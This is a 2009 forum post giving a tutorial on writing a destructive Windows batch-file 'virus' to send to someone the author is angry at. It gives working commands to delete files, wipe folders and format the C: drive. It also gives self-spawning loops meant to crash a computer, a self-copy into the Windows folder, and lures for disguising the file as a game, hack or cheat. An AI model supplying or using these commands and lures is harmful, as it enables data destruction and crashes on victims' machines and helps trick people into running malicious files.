ĢåmëǾvε® Posted November 18, 2009 Posted November 18, 2009 How to build a simple .bat virus Index 1. Tools 2. What makes a virus a virus 3. Making your first batch file 4. Making a batch virus 5. Destructive commands 6. Most common tricks used to make someone open the file 7.By, Robby23, 24 Guns, Harry, SLAUGHTER, blu3m4n, BuRP QuakE 1. Tools To make a batch program you will need a text program (ex. Word,notepad,wordpad etc…) A keyboard if you don’t have one you can use the ON-screen keyboard To get to the on-screen keyboard start>all programs>accessories>accessibility 2. What makes a virus a virus When people think of a virus they think of a computer virus but the word virus came from a virus that’s in your body. They also think a virus is meant to delete or destroy things. They normally do but a virus is called a virus because, it copies itself. Like a virus in your body it copies it self to other cells cause it can’t live with out a host. Same with a computer virus with out a file or a program a virus can’t be made. So all a computer virus is: a program that copies it self ,but some people put destructive code in it. 3. Making a Batch file I’m going to use notepad you can use what ever you want We are also going to make a “Hello World†Application that is the first program you make in any language When making a batch file you are always going to use this line first @echo off You can turn it on if you like. All that does is telling the program not to tell its location. If you turn it on then the program will tell were it is at on the computer. You can experiment a little if you want. Now we are going to make it say Hello World To do this we need a echo command which looks like this echo This tells the program to write something since we want it to say Hello World we are going to type Hello World next to echo to make it look like this echo Hello World so at this point you should have @echo off echo Hello World now go to file save and name it test.bat ( you can name it whatever you want as long as it has .bat at the end.) Save it to the desktop so you can get to it faster. Then run it You should of have a black box open and close really fast To fix this we need a pause command and we will also need a goto command The goto command is the most importent command If you dont know the goto command tell it were to go to next. since we need a pause command we want it to go to pause so we need to write goto pause like this goto pause now u should have @echo off echo Hello World goto pause now we need a subsection name pause you make a sub section by putting a : by the first word like this :start or :end ,but we said go to pause so we need one name pause like this :pause then under that we are goin to write pause :pause pause this just makes it were it will keep the box open till you press a key Optionl At the end you can put a exit at the end of pause were the goto command should go ,but you dont have to. save at run it now.You should be able to read your text now 4. Making a Batch file into a virus This is alot easier then some people think. To make a virus you just need the copy command which looks like this copy so lets make a new one by reading section 3 you should know you need the @echo off @echo off copy allright we are going to name this file first and we are going to make it copy itself to C:\WINDOWS just because no one looks in their this is what it looks like (i will explain it) @echo off copy first C:\WINDOWS copy-tells it to copy first-is just the name of the file we want to copy C:\WINDOWS- is the place you want to copy to that is a virus 5. Destructive commands If you get pissed at someone you might want to send him someting to mess with him. Here are some commands to add to the virus. del -this del files del file name del (.txt*) the (.txt*) would delete all txt files on the computer the * at the end just means all instead of a file called .txt deltree- this deletes the whole folder you can remeber it like this Think of a tree if you type del you are only deleting a part of the tree ,but if you type deltree you are deleting the whole tree format- this deltes everything format c: this delets everything in the c drive open this is just fun to use to scare some one but not do damage to something open name of file like to open notepad type open notepad to open microsoft paint type open mspaint just put ta crap load in their also the next one that can be very usefull is looping this will make the file repet it self til it is shut off say your first sub section is called start you would just make the goto command to go to start like @echo off :start start notepad goto start that will open notepad over and over and if they dont close it it can crash their computer to open the command window you have to use var. like %% (not going to explain var. it would be confusing) @echo off :whatever start %0 goto whatever this will open the black box over and over 6. Most command tricks people will put it in a folder with a couple read me doc. and call it a game people will say check this out it is so cool people will say check out this hack or cheat i found for this game to check if the are good do this tell them to put it in a zip folder and send it unzip and right click on the program(dont open it) and press edit that will show the sorce code and if you see something you dont like then delete it
